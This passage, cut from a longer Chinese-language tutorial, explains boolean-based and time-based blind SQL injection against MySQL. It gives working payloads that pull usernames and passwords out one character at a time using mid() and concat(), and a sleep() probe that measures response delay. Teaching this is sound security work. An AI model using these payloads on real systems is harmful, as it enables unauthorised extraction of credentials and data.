and后面的值为真,页面显示为空时,and后面的值为假。
    看不到直接的数据,但是可以通过注入推测出数据,这种技术称为布尔盲注。
    where id=’1’ and ‘a’
    假设被猜测的数据为f,那么试探到 1’ and ‘f’时便猜中了。但是这样速度太慢,效率太低。
    于是可以使用<符号猜测:
    1’ and ‘f’<’n’ 这样可以知道被猜测的数据小于字符n
    那么如何获取多个字符?可以利用Mysql自带的函数:
    substring(),mid(),substr()……
    substring(str,pos,len)
    mid(str,pos,len)
    substr(str,pos,len)
    payload:
    1’ and (select mid((select concat(user,0x7e,pwd) from TABLE_NAME),1,1))=’a’#
    有回显,则第一位是a
    1’ and (select mid((select concat(user,0x7e,pwd) from TABLE_NAME),2,1))=’d’#
    有回显,则第二位是d
    以此类推~~~~

    另外:通过sleep函数,利用if条件函数或and or函数的短路特性和sql执行的时间判断sql攻击的结果,这种注入方式被称为时间盲注,其本质与布尔盲注类似。
    1’ or sleep(1);# 表示延时一秒